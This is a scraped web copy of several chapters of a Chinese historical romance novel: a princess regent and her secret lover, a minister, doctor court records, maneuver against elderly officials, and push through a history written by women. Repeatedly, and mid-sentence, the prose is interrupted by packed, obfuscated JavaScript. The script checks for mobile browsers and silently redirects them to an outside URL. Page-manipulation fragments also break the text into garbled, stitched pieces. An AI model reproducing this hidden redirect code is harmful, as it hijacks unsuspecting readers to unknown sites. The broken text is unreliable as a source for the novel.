RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384988|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地传了给她。 也可以用别的办法。 衣摆被他一寸寸地拂起,下一刻感到他嘴唇熟悉的温度。 她的手指陷入他漆黑浓密的墨发中。 * 骆淮醒过来的时候,身侧的人仍在沉睡。 双目紧闭,呼吸均匀,那张英俊的脸因睡着卸去了些许凌厉,居然透出了几分不设防的稚拙。 山寺幽深,窗外隐约传来几声清脆的鸟鸣。 她好奇地想,他还真的爱睡觉啊。 当初他说“天不亮就要上朝,每日都困得睁不开眼”,竟没骗她。 每日早起临朝……莫非真的委屈他了。 他果然还是适合住在自己身边。 这个愿望该怎样实现呢? 得等她处理完这些事,等她之后登基……到那时不如让他辞了官,赐他宫邸让他安分做她的皇后吧。 被自己的畅想逗笑,骆淮轻手轻脚起身,却觉得头皮微微刺痛。 两人的长发居然有几道纠缠在一处,分也分不开。 她颇为耐心地俯了身子,指尖将发丝一点点地拨开,然后试图从他身上跨过去。 白日的竹林一点都不吓人。 今日天晴无风,阳光正透过竹叶洒下斑驳的光影,看久了反倒有几分幽静的美。 若她是独自居于此……会害怕的吧? 所以她昨夜软磨硬泡,定要他留下。 想想就气人——上月他刚回京那日,他竟同她吵架,最后也没留下来! 那时她可是每日数着日子,盼他归来呢。 骆淮回过头,确认身后的人仍在深眠后,低头悄然抚摸了下他眼角那道淡疤,迅速落下一个吻。 赤足来到书案前,她挪开陆俨亭昨夜压在上面的那卷文书。 底下露出她昨日在读的东西,那是几本残破的起居注,泛黄的纸页和密密麻麻的记录令它们像一团理不清的乱麻。 “帝召见某某于紫宸殿……” “某年某月,召太子深夜议事……” “幸恭妃宫,翌日赏锦缎十匹……” 最后那笔新鲜的墨痕,是她昨日添上的。 “恭”便是她母妃的封号了。 骆淮粗粗翻阅了那些起居注,竟未发现任何有关她出生那年,父皇曾去看过母妃的记载。 这应有两种可能。其一,她骆淮真是母妃与人私会产下的存疑血脉。其二则是父皇景和帝由于暴烈的性情和对母妃的深度厌恶,将与她们母女相关的记录尽数抹去。 她情绪稳定下来以后自行分析过了,无论从哪个角度来看,还是后者更能说服她一些。 不因别的,她不得不承认,自己与景和帝的脾气,算是一个模子刻出来的了。 骆氏皇族大抵都这般,往上数十几代君主,史册间总流传着各种性情极端的记述。有的暴躁些,便命史官“不许写”;有的温和些,便直接让史官“改了便是”。 比起他们,骆淮觉得自己仁厚多了。 百年之后,史书工笔,或许当能得个“仁政”之评? 可为了身后清名,她仍需将出身来历交代得明明白白,以杜后世悠悠之口。 想起竹林里埋着的那人,骆淮也已不再恐惧。 都过去几个月了,京中从未有人报过失踪,也无任何异动。前日她刚到云浮寺时,慧净大师见到她,态度依旧温和如常。 一切平静得像从未发生过什么。 若那人真有同党,早该寻来了。 她轻轻舒了口气,伸了个懒腰,无意识地转过身。 却被眼前的景象吓了一跳,后退一步差点撞翻身后的书案。 “我——啊!!” 身后禅房的卧榻处,青年静静地坐着。 他眼眸清明,看不出半分初醒的懵倦,漆黑的头发宛如墨色披肩般散在宽阔的肩背上,几乎将他整个人包裹。 不知何时,陆俨亭已经醒了过来,并在她不知情的情况下,盯了她的一举一动许久。 18. 瓷娃娃 陆俨亭是被骆淮裙摆拂过地面的细微声响惊醒的。 淡淡的百合香飘浮而过,睁开眼便见到她随意地倚靠在书案边。 晨曦从窗格漏进来,勾勒出一道窈窕纤细的侧影。 他只需闭上眼,就能在脑海里复刻她的模样。 双眸含水,饱满的唇不点而朱,素白的面容好似一尊被精心烧制的瓷娃娃。 可眼下,这些都看不见了。 尊贵的公主此刻正垂眸翻着书册,唇线微微抿紧,形容间像是下定了什么决心,绯红的眼角一派冷肃。 蕴含万般力量。 他清楚,凡是她想做的,她都会不惜一切代价达成。 便如她初掌朝政,便能将千头万绪理得井井有条,在朝会上冷冽威仪字字珠玑,有时能驳得那些倚老卖老的重臣哑口无言。 因此……她一定有事瞒着他。 陆俨亭沉默地想。 昨夜他以退为进,本想着她会凭此心生愧疚,主动坦白。 可换来的结果居然是她顺势就不说了,还编了个绝佳的好理由,将他的善解人意照单全收。 他又不能再追问。 彰显自己大度的话已说出口,此刻若紧逼,反倒显得虚伪可笑。 况且他又有什么资格追问? 屠苏和雪芽是她的贴身侍女,缪之云是她的闺中密友,柳色和那些贵女是为她做事的帮手,宗姚……宗姚是皇宫护卫,护卫她安全也算分内之责。 所有人都有冠冕堂皇的理由围绕在她身边。 唯独他…… 啧,他什么都不是。 他并不想做她招之即来、挥之即去的地下情夫。 这对他而言,远远不够! 都是那位如今半死不活的皇上——她的兄长——造成的。 亲手拆散了他与她,居然还敢为她择婿?甚至还照着他的标准? 若不是他暗中窥伺了她的每一场相亲宴,发现那些人的言行举止、甚至眉眼气质,都与自己有几分相似……他是不会出手清除他们的。 万一她的口味就是这一类人怎么办?万一她真的选到符合她心意的驸马了……他怎么办? 可如今,骆灵均都已成了那副模样。 为什么她还不肯将与他的关系昭告天下。 难道真要他……自己来吗。 他深知她娇软无害的外表下藏着的是一颗怎样冷硬的心。装着江山,装着权柄,装着她自己,只有边角缝隙里塞了一点点的他进去。 但即使如此,却也是他求来的。 无数个深夜,他都心怀妄念。想象着她穿着大红嫁衣,想象她真正成为他的妻,想象她凤冠霞帔,一步步走向他,仰起头时眼里只盛着他。 她那双溜圆的杏眼里,本就该只倒映出他一人。 就如他们每次身体契合时那样。 殿下。他叹息,您未免太傲慢了。 以为我会一次又一次言听计从。 以为我会相信您的任何甜言蜜语。 会将自己的一切——身心、家世、名声、乃至陆氏全族的荣辱,全都向您,双手奉上。 作为回报,殿下,您又能给我什么呢? 的确,普天之下莫非王土。祖父那般说既是真心,也是看透后不得不承认的事实。 陆氏说来光鲜,位列三公,可万千族人的荣辱兴衰,终究系于天子一念之间。 父亲官至太子太师又如何,一旦触怒景和帝心意,不过一纸诏书,说贬琼州便贬琼州,毫无转圜余地。 他没想过自己也会重复陆家的宿命,为上位者的功勋周而复始地添砖加瓦。 殿下,您能承诺永远都不丢下我吗? 枕流,如果你不姓骆…… “陆俨亭!” 清亮的声音穿透他暗沉的思绪,是骆淮在念他的名字,“你醒了?” 他张了张嘴,刚想回答,却又听到她“嘶”地一声惊叫。 “……好痛!” “殿下?” 陆俨亭慌忙起身,掀被下榻,疾步奔至她面前。 “呜……”骆淮痛得骨头都在震颤,她后退的时候手肘不小心撞上了书案的一角。 陆俨亭小心地握住她的小臂,揉着她被撞红的地方,只觉那截骨头细得几乎能被他一手掌握。 他眉心紧蹙,动作再次放轻了些。 “你干什么直直盯着我?!”骆淮狠狠瞪着他,“醒了也不说一句话,吓人得很!” “……我错了。”他讷讷道,“我看您……好像在专注看什么东西,一时好奇便多看了会。” 骆淮顺着他的目光,落在案上摊开的书册上。 “这个?”她轻微挑了下眉,坦荡荡地拿给他看,“十多年前的起居注。” “我发现,起居郎的记录里一次都没有父皇去看母妃的记载,就自己添了一笔。” 她大大咧咧地解释,语气极为寻常,就仿佛修改史书并不是什么大不了的事。 “殿下思虑周全。”陆俨亭接过看了看,表情也没有任何变化,反而温声夸奖了一句。 但他很快指着那“十匹”二字,复又道:“不过……宫中赏赐皆有定例,我记得那年江南水患,江宁织造进贡的云锦不足往年三成。这‘十匹’略多了些,细究起来恐惹人生疑。” 说话间自然而然地握住她的手,引着她用毛笔蘸了墨,在“拾”字上轻轻一描。 墨迹洇开,那个字便面目模糊起来。 他的掌心温热,骆淮怔了怔,抬头看着他专注的脸,一时忘了抽手。 陆俨亭却已松开了她,拿起那张纸,又对着窗光细细端详。新鲜的墨痕与多年前的旧墨在色泽浓淡上略有差异,有心人若细看便会发觉破绽。 他于是从旁取过昨夜的陈茶,往杯盖上倒出些许,用笔尖蘸了涂在新添的字迹周围,恰似旧纸年久受潮。 然后,再点燃桌上的烛台,将纸页在火上缓缓移动烘烤。 片刻后新墨的亮泽便褪去几分,与周围泛黄的旧迹渐渐融合,连那个小墨点也像是陈年痕迹不小心留下的,浑然天成了。 他做完这些,回头看向她,“这般,便万无一失了。” 骆淮看着他唇角扬起的那抹毫无阴霾的澄澈笑容。 “……好。” * 陆俨亭走了,将他昨晚递交的画满反驳意见的文书留给了她。 之后几日,骆淮过得悠闲散漫。白日里与柳色、陈婉等人商议修史细则,夜里批阅奏疏,将那些激进的新政条款修改得温和折中,再发回内阁。 山寺清静,反倒比在宫里时更有效率。 她的女官队伍们初时提笔还瞻前顾后,如今已能自如地查阅典籍、整理脉络,甚至开始尝试撰写初稿。 另一头,朝堂上的新政也在稳步推进,即将下发至州府。 补全后的方案严谨周密,连最挑剔的老臣也找不出漏洞,朝中原本的反对声渐渐弱了下去。 毕竟…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390274|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁也不敢公然反对“公平赋税”、“抑制兼并”这等天经地义正确的事。 当然了。骆淮一直都知道,世上不可能存在一帆风顺的事。 所以,她需要先发制人。 * 内阁值房。 陆俨亭正提笔批阅公文,门外忽传来急促的脚步声。 陆七闪身进来,脸色有些异样。 “公子,南疆昨日传来的消息,您离开后……似乎有人掘了那处坟。” 陆俨亭一顿,“坟?” “就是那个领头的……‘飞云将军’。”陆七压低声音,“您当初不是走得急吗,让陆叁和陆伍留下镇守。他们前日偶然路过坟茔时,发现多日不见,坟竟已被挖开,里头是空的。边上还有指痕,像是……自己爬出来的。” 陆七咽了口唾沫,“会不会……那人根本没死?” 沉默了会,陆俨亭搁下手中的笔。 “哦。” 陆七一愣。 “……不是什么大事。”他面容无波无澜,“伤成那样,便真是侥幸未死,如今也是废人一个。连体力稍弱的妇孺都能撂倒,何足为虑。” 陆七想了想,颇觉有理。 加之他麾下那些叛军各部也早已在公子的指挥下溃散,死的死,降的降,不成气候。 一个重伤垂死之人,便是真活下来,又能翻起什么浪? 只是据陆伍描述,那泥土上的指痕可够深的。 他们当时探了探,觉得那人已经没了气,才将他好好安葬了的。 结果他居然还能挣扎着爬出来?这得有多大的决心和毅力…… “下去吧。”陆俨亭垂眸看着纸上的字迹,“再加派些人手盯着当时归降的人便是。若有异动再报。” 陆七应声退下。 陆俨亭翻过一页,门外又传来通传:“陆大人,礼部尚书张大人有事寻您。” “请。” 张永怀推门而入,老迈的眼睛精光闪烁地打量了室内的摆设一圈。 陆俨亭与他寒暄两句,便听他状似无意地问道: “老夫近日听闻些风声……不知陆大人可曾知晓?” 陆俨亭:“什么风声?修延不知。” “听闻云浮寺那边,宫中近日送去了大量……笔墨纸砚,以及典籍书册。”张永怀慢悠悠道,“看来陪长公主殿下‘小住’的几位贵女,这些时日似乎……并非只是在赏景品茶。” 他边说边仔细观察陆俨亭的表情。 “……下官不知。” 青年眼神略有躲闪,握着笔的手指微微收紧,声音也低了几分。 张永怀疑虑更甚。 “我见陆大人这些天下了值出了内阁,十日倒有九日,车驾是直接去往云浮山的。”他逼近一步,“而长公主殿下批阅后的奏折和新的政令,也都是你第一时间下发我们的。” “是每日都去。”陆俨亭却道,“否则无法及时向各位大人传递殿下最新动向。” 张永怀愣了愣,“……哦。” 他不太明白为什么陆俨亭要在这种细枝末节纠正他。 被这么一打岔,他好不容易才想起自己要说的话,“所以陆大人当真……对云浮山上发生的事一点都不知情?” 陆俨亭不说话了。 此时的沉默,在张永怀看来已是最好的回答。 “……你是知道的?”老臣的声音陡然拔高。 陆俨亭讪讪地抬起头,像是被戳破了什么秘密。 19. 是蓄意勾引 “你既然知道,为何不与我们通个气?”张永怀难以置信。 这下可好,他们蒙在鼓里这么久! 他懊悔自己不该撂挑子,原本修史该是他礼部一肩挑,而他之所以抛出这个难题…… 就是为了给长公主添堵,让她知难而退的啊! 可她居然启用女官,这这这——这不是胡闹吗?实在于礼不合! “女子连科举都不能参加,怎能参与修史这等国之大事?荒唐!荒唐啊!” 他心里不间歇地在打鼓。 自己年事已高,门生青黄不接,几个孙儿又不成器。若真让女子入了仕途,往后朝中还有他们这些老臣的立足之地吗?张家往后,还能保住如今的地位吗? 当年他因党争被迫退出内阁,但仍然不死心,想重返权力中心。 好在他前脚退出,后脚先帝又点了他担任会试考官。阅卷时,他分到一张文采斐然的卷子,令他眼前一亮,心生爱才之意,特意在殿试前召那人相见,有意招揽至门下。 但见到那人时,他便暗叫不好。 这位才子已是知天命的年纪,鬓发斑白。 虽然那人后续果然在金殿高中状元,打马游街,风光无限。 但没两年……就病逝了。 而那年与他同殿的探花,便是面前的陆俨亭了。 可惜。陆俨亭的答卷并不是自己阅的,而是现今的内阁首辅周延年。他未有过当陆俨亭座师的机会。 但即使是周延年,也已经一把年纪了。 耳背眼花,又不管事,想必没几年,首辅的位置就要换人了。 长江后浪推前浪……他们这些老家伙,难道真要这样被拍死在沙滩上了吗? 这么久过去了,宫里对外始终声称皇帝“昏迷不醒”,朝政全由长公主把持。 他们心里都有了底——或者说,都没了底。 陛下莫非…… 早已…… 可他们又没法真的跑去质问长公主。 难不成质问她,当时是否发生了宫变?她可是主导与北戎签订合约,为国库增收数十万两白银的人,如今在民间声望正隆。 “下官不敢质询殿下。”陆俨亭也恰在此时开口。 “不敢?原本新政就已经步步紧逼,我们节节败退,现在长公主竟又有了启用女官的新点子。” 张永怀盯着他,语带试探,“陆大人,你们陆家的田产也不少吧?清丈之后,赋税至少要增加三成——您竟也肯?” 他们张家已然伤筋动骨,势力更大的陆家,难道就甘心割肉? 陆俨亭却苦笑一声: “张大人,当初那份初稿,是下官亲自封驳的,却没想到殿下寻得了所有漏洞,将我们指出的问题一一补全了。如今这修订后的章程,我细细读了,竟找不出半点错处。” “而且……”他眼睛乱瞟,像是无心之言,“不知是谁将下官当初封驳的理由传扬了出去,如今朝野皆知是下官‘指点’了殿下。下官现在……也不知该如何是好了。” 张永怀眉头紧锁。 这话倒是不假。那份修订后的新政章程,他私下也研读过,确实严谨周密,无懈可击。 只是……陆俨亭这人实在太实诚了!长公主漏洞百出的激进政策,他封驳也就算了,干嘛还提那么多具体的修改建议? 还提得有理有据,简直是为长公主指明了方向。 也是他当时没看仔细。 哎! 就在这时,张永怀鼻尖忽然嗅到一丝若有若无的馨香。 这味道…… 像是从面前的人身上散发出来的。 清雅的百合香,悠远绵长,不像是什么平常熏香,却仿佛是从女子身上沾染的。 张永怀心底猛地一震。 结合陆俨亭刚才反常的那句话,一个荒谬的猜想浮上心头。 长宁长公主是陛下的同胞妹妹,陆俨亭作为陛下最为倚重的近臣。 在这件事之前,他们当真……从未有过私下交集? 他想起陆俨亭曾担任长宁长公主的先生,两人在宫内漱玉斋一对一教学,同处一室,动辄便是半日。 当初无人觉得不妥,因为给公主授课的其他老师,也都是这样教学的。 可那些老师,哪个不是年过半百、胡子花白的老学究。 他居然,现在才察觉到问题所在。 谁也不知道在闺中静默温顺的长公主,一旦得了监国之权,在朝会上会这般锋芒毕露。 言辞犀利,气势逼人,颇有当年景和帝的风范。 是以他有时也会忘记,她其实是位—— 尚未婚嫁,正当韶华的美人。 而陆俨亭。 如果自己没有记错的话,他今年已经二十有五了,似乎也从未议亲娶妻。 他这些天频繁前往云浮山,到底是为了议政,还是…… 张永怀沉下脸,仔细审视着陆俨亭面如冠玉的脸。 模样确实生得极好,眉目清朗,气质出尘,便是放在美男子遍地的京城,也是拔尖的。 难道…… “有伤风化!”他险些脱口而出,硬生生忍住。 究竟是长公主看上了他的容貌,蓄意勾引,还是他自甘堕落,想借裙带往上爬? 那么那封意见,到底是他真心想批驳,还是故意留了漏洞,好与长公主里应外合? 张永怀神色变了几变,突然觉得自己从未真正认识过这个后辈。 “老夫……先走了。” 他干巴巴地说,转身时脚步竟有些踉跄。 这几天,他一定要好好查一查! 陆俨亭看着张永怀离去的身影,嘴角微勾。 门刚合上一霎,旋即又有人吱呀而入。 陆俨亭叹了口气,伸手揉了揉眉心。 他这一整天要做的事实在多,而晚上又应了家里人要求需回陆府一趟,看来今日是不能去找她了。 “……诶,张大人好!” 祝陵满面堆笑地同出去的张永怀打了个招呼便溜了进来,顺手带上门。 刚才他在门外,晚了张尚书一步,但听全了刚才的全部内容,包括张永怀咄咄逼人的问话。 “陆大人,您……”他擦了擦额角渗出的汗,“张尚书是否已察觉长公主殿下那边在做的事?那我家娘子她……” 他是来替妻子取修史所需的参考典籍的,这事他已做熟了。 柳色她们在云浮寺负责将起居注残本与陆俨亭提供的政令抄本核对,梳理时间线,编撰初稿; 陆俨亭则在内阁将翰林院、史馆的存档调阅整理,择其关键,每隔三日,交由祝陵带到云浮寺,交到担任总修官的妻子手中。 长公主得知妻子为他代笔后非但未降罪,反委以重任,他心底感激,只想尽心办好差事。 何况他是为自家妻子跑腿。 妻子在他手患有疾时为他代笔,如今她自身被贵人看中,他得以出入内阁,接触这些官居一品的大人物,碰触机密文书。 这于他们全家而言。都是求之不得的机遇。 更别提长公主那些新政。清丈田亩、重定赋税、整顿盐务——于他这般寒门出身的官员而言,实是利国利民之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395520|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举。若能推行,百姓负担减轻,国库充实,才是真正的长治久安。 他相信朝中如他这般想法的不在少数,只是碍于那些元老重臣的威势,不敢发声。 可如今…… 陆俨亭见他如临大敌的样子只是微微抬了抬眼皮:“察觉又如何?” 祝陵一急,“那……” “本来世上也没有不透风的墙。”陆俨亭将早已准备好的一摞书册推给他,提起笔继续批阅公文,“迟早要知道的。透出些口风,让他们着急些,反倒于我们更有利。” 祝陵茫然地望着陆少傅相当淡定的模样,想说即便要透口风,也不该是用这种方式吧? 怎么就直接承认了自己每日都往云浮寺跑? 这不是此地无银三百两,让人直接猜到自己与长公主关系匪浅吗? 看来陆大人还是太年轻,太沉不住气。 一不小心着了那老狐狸的道。 不过,他也实在是恪尽职守、夙夜在公。身为世家子弟,却愿为寒门张目,为百姓谋利…… 祝陵敬佩地看着灯下陆俨亭清俊的侧影,想起自己曾上过那封弹劾他“携表弟游西市”的奏疏,心底不由涌起深深的惭愧。 * 云浮寺。 “殿下!殿下!” 缪之云急匆匆跑进禅房,“阿婉她们家里派人来了,说要接女儿回家!” 骆淮从书卷中抬起头:“接回家?” “对啊对啊!”缪之云急切道,“这可怎么办?她们一走,咱们的大业还怎么继续?” 她跺脚,语速飞快,“阿婉刚跟我说的,其他几家也收到了消息,接人的马车已到山下了!” 骆淮却笑了:“‘阿婉’?” “……”缪之云察觉到自己的用词,赶快补充,“我听她们都这么叫,习惯了。” 想了想,她又冷哼道:“她们可不想走呢。这几日她们还在寺里办了小型诗会,又把我排除在外,吟风弄月,我看还有余力得很。” 骆淮点点头,顺手将手边一本书递给她,嘴上问道:“谁来接的?” 缪之云接过,是本《诗词格律》。 翻开一看,里头竟有娟秀的小字批注,详解平仄对仗,浅显易懂,显然是长公主特意为她这个不学无术的人准备的。 她心里一苦,现在不是学诗的时候呀…… 缪之云赶紧合上书本,回答骆淮之前的问题,“有齐国公夫人、宁远侯夫人,还有宋翰林家的嬷嬷,还有一些其他勋贵府上的女眷……阵仗不小呢。” “不见。”骆淮漫不经心地拨弄着指甲,“本宫是在朝会上当众吩咐的,对的是满朝文武。之后送人来的也是诸位大臣。如今要接人回家,却派女眷来。” “礼在何处?将本宫当做什么?” 缪之云听后眼睛一亮。 “殿下说得对!我这就去告诉她们!” 她转身要走,却又迟疑着回头: “诶……殿下不觉得奇怪吗?咱们这事,怎么突然就传出去了?” “哦,”骆淮平和地回答,“是我让陆俨亭放出口风的。” “啊?” 缪之云睁大眼睛,突然想到了什么。 “那我就直说了。”她此刻一副恍然大悟的样子,“孟熙园家里寄来的信上提了一嘴,是朝中有人发现了陆大人经常往云浮山跑,从而才猜测我们在这边‘有事’的呢。” 她凑近些,笑眯眯地打量骆淮,“原来这是殿下的授意啊?难道……殿下打算公开了?” “……你说什么?” 骆淮听了却一愣。 20. 桃夭 陆俨亭在干什么? 骆淮着实迷惑了些许。 她确实是打算让陆俨亭手下的人往外透出点风声。 比如云浮寺灯火彻夜不息啦,常闻女子争执之声啦,典籍车马往来频繁啦……引导那些老臣自己察觉端倪,进而惶恐试探。 那些冠冕堂皇的话,本就是他们先说的。 “史书乃国之大典,先帝功过当早日定论”、“国不可无史,先帝功过当早日厘清”——但真同意起来,他们又借各种缘由告假,推诿搪塞,不肯接这个担子。 眼看着骆淮不靠他们,也能将修史之事办起来,眼看着这桩事渐入正轨、有条不紊…… 他们怎能不忧心? 光是听到这件事,大约都会急得团团转。 忧心她真的会随心所欲,胡作非为,让女子堂而皇之地登堂入室、甚至有封侯拜相的可能;忧心这世道真要变天,千百年来的规矩都要被打破。 当然最忧心的,是他们自己的前途会在这变局中更家渺茫。 恐慌之下,他们只能退一步,向她妥协,甚至可能还会将先前搪塞推诿的人选逐一举荐。 当然了,既然他们肯退一步,骆淮也会退一步。 她会温言安抚他们的恐慌,还会“勉为其难”地接收他们举荐的门生。 毕竟谁也不会嫌人手多。 光凭她们几个人,要在短期内修成一部体例完备考据严谨的《景和实录》,也还是有些吃力的。 在云浮山上也到底不方便查阅全部档案,起居注、诏令汇编、臣工奏疏、地方志书……这些浩如烟海的典籍,大多仍锁在宫中秘阁,也确实需要更多熟悉典章制度的臣子协助。 骆淮早就打定主意,将那些枯燥乏味,誊抄校勘起来又极为繁琐的考据比对,交由之后加入的人来做。 她盘算着,等修史之事初具规模,便顺势将整个团队迁回宫中,正式设立临时的修撰馆。 届时木已成舟,那些顽固派见自己选派的人也参与其中,齐心协力完成此事,自然也不会再死咬着“启用女官”之事不放。 再说了,她的新政还需要人去各州府落实呢。 和气为贵,和气为贵嘛。 可陆俨亭采用的方式…… “他也太坦荡了吧?”骆淮脱口而出。 缪之云望见骆淮脸上的平静神色一点点褪去。 取而代之的是一些微妙的…… 像是愕然,也仿佛薄怒。 她顿住了,迟疑地问:“殿下?” 怎的一副意外的表情?刚才……不还运筹帷幄的么? “岂有此理!” 骆淮拍案而起,恼得耳根都红了。 缪之云:“啊?” …… 春日的午后,云浮寺内桃花始盛。 粉白的花瓣在风中坠落,飘进禅房的窗内,落在书案墨砚边。 远处是僧侣的诵经声,低沉悠远。 而缪之云在这般光景里,终于从骆淮口中得知她与陆俨亭之间那些纠缠多年的来龙去脉。 “什么啊?”缪之云手里的茶盏险些没端稳。 陆俨亭何等人物,在朝中呼风唤雨,一言可定百官升黜。 如今竟只是长公主的侍寝对象。 好吧,其实细想之下,也并不意外。 就是听起来……像是柳娘子写的话本子里的内容呢。 这些日子,她们聚在云浮寺,毕竟都是年纪相仿的年轻女子,最初针锋相对消弭后,也会生出几分同舟共济的友谊。 坐在一起闲暇时,还也会传看柳色新写的东西。 这位看起来温温柔柔的御史夫人可不简单,不仅将如何编订先帝实录、如何考据史料、如何梳理脉络理得井井有条,写起风月话本来更是笔触细腻,情节跌宕。 据柳色说,她母亲原是江南有名的女学先生,她耳濡目染读了不少书。嫁人后闲着无聊,便写话本子赚些私房钱,权当消遣。 她们当时很惊讶:“啊?那您夫君呢?知道您写话本子吗?” 柳色的柳叶眉弯弯,叹息道:“他原先不知情呢。是长公主殿下看了我的话本子,觉得我才学尚可,才找上我的。” 原来长公主也看这些东西。 那些话本里的内容……确实挺狂野的。有书生狐妖,有将军红颜,还有宫廷秘辛和江湖恩怨、朝堂博弈,甚至还有些隐晦地影射当朝之事。 但缪之云觉得,好像都不及她今日亲耳听的这两人的事。 “可是,”她抓了抓梳得整齐的发髻,望着骆淮并不算特别高兴的脸,“殿下,您不觉得……” “他居然敢自己有小算盘。” 骆淮拈起茶案上的一块玫瑰酥咬了口,没什么情绪地评价。 她这么多年什么事都算计得清清楚楚,并且都从中获了利,却没想到在这个最熟悉的人身上栽了跟头。 “他不知道这样做的后果吗?”酥皮碎屑沾在她唇边,她也顾不得擦,只恨恨道。 后果? 缪之云想了想,不确定地问:“嗯……被弹劾,然后……辞官?” 骆淮一顿。 “那不是……挺好的。”缪之云小声说。 “怎么说?”骆淮眯起眼。 “陆家本就是累世公卿,几代首辅,在朝在野的势力盘根错节。” 缪之云这些日子耳濡目染,加之天赋的察言观色与政治嗅觉,已然能将朝中局势说得头头是道,“如今老臣们一个个将退,陆大人年未而立,已是事实上的文臣第一人,手握批红之权。” “但若有‘与长公主私相授受’这件事,御史台一定会上书弹劾,斥其‘攀附’‘侍奉女主’。为了避嫌,他恐怕就不能在朝中担任要职了。” “如此,陆家明面上的影响力也会削弱。殿下若想削世家、收权柄,抑豪强,不是就兵不血刃了吗?” 骆淮一边听一边咀嚼着,有丝丝甜味渐渐泛起在她的舌尖。 “如此,殿下能将他轻易地掌控在手中,”缪之云继续道,“他不再有任何威胁,只能依附于您。是想让他做您的裙下之臣还是帐中幕僚……都不过是您一句话的事。” 她朝外看了看,声音压低,“往上数几代,康懿长公主的故事,殿下应当比我更清楚吧?” 骆淮不紧不慢地取出锦帕擦了擦手,没有说话。 一百多年前的康懿长公主,亦代理过监国之职。 当年她的父皇英年早逝,留下幼子,康懿长公主以幼帝孱弱为由摄政,一度将朝政打理得井井有条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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也有人在奏疏上这般表示:“殿下,修先帝实录之事关乎国体,臣等愿为殿下分忧,可否让臣等也参与其中,略尽绵薄之力?” 骆淮等的就是这句话。 她顺势下旨摆驾回宫,于太和殿设宴款待诸卿。 消息传出,朝野震动。 谁都知道,这场宴不是吃饭那么简单。这是长公主给他们的台阶,也是他们试探长公主底线的机会。 太和殿内灯火辉煌,笙歌鼎沸。宫女太监们捧着美酒佳肴穿梭其间,香气弥漫。 骆淮身着金红色宫装,头戴九翟冠,珠翠琳琅,她缓缓步入殿内,自上首监国位上落座。 她目光往下一扫,然后眼皮就几不可察地跳了一下。 下首离她最近的席位上,几日不见的陆俨亭正安定地坐在那里。 他穿了一身月白色暗纹锦袍,腰间系着青玉带,墨发一丝不苟地高高束起,神色自然放松,姿态从容优雅。 仿佛他坐在那里天经地义似的。 他也感觉到了她的注视。 年轻的权臣抬眸,目光灼灼迎向长公主,薄唇勾起露出一抹浅浅的笑意。 骆淮:!!! 她迅速移开视线。 广袖之下,滑落一片早已枯萎的桃花。 21. 酒醉 酒过三巡,殿内气氛渐酣。 周敏小口啜着酒,目光在殿中逡巡。 案前目之所及皆是时令珍馐,美酒则是宫中秘藏的“玉髓春”,澄澈如琥珀,入口绵柔,后劲却足。 他是礼部郎中,在满殿朱紫大员中算不得显眼,只坐在稍后的位置。 眼看着时候不早了,他试探性地朝边上的上峰张永怀望了一眼。 张永怀抚着花白胡须,微微点了点头。 周敏会意,端起酒杯,清了清嗓子,便要起身。 可还没动作,身边的人却先他一步踉踉跄跄站了起来。 张永怀一手撑着案几,一手举着酒杯,声音哽咽: “臣……想起先帝在世时,常教诲臣等要忠心为国。”须发皆白的老臣声音颤抖,带着酒意,“如今见殿下宵衣旰食,为国操劳,臣……臣心中感佩啊!” 他说着,竟真落下泪来。 周敏大惊。 宴会前,他们不是商量好让他打头阵吗?不是说,尚书大人作为二品大员,若先行服软,会让礼部颜面无存,而他这个郎中出面,进退都更便宜吗? 尚书大人怎的先发制人了? 他思绪混乱之际,其余几位二品以上官员已经纷纷附和,唏嘘不已。 有人忆起先帝还在时,自己曾于御书房议事时见过长公主,当时公主仅豆蔻年华,粉雕玉琢,被先帝夸赞聪慧; 有人说起茶马司互市时,长公主与北戎使臣对答如流,仪态万方; 更有人直接表忠心:“殿下但有驱使,臣等万死不辞!” 一时间殿内热闹起来,奉承声、感慨声、表忠心声此起彼伏。 但下一刻,监国位上却传来压抑的啜泣声。 骆淮一边用绢帕抹着眼泪,一边连连点头:“是啊……是啊……” 她这一哭,满殿寂静,只余她低柔的声音。 “皇兄骤然昏迷,朝政千头万绪。” “本宫一介女流,硬着头皮接下这担子,战战兢兢,如履薄冰……夜里常梦到父皇训斥,说要不是皇兄……嘱咐我必定不得懈怠。” 她抹了把泪,继续道:“清丈田亩、整顿赋税、安抚北戎……这些,都是父皇托梦告知于我。” “可这哪一件不是得罪人的事?但为了江山社稷,为了黎民百姓,本宫不得不做。” 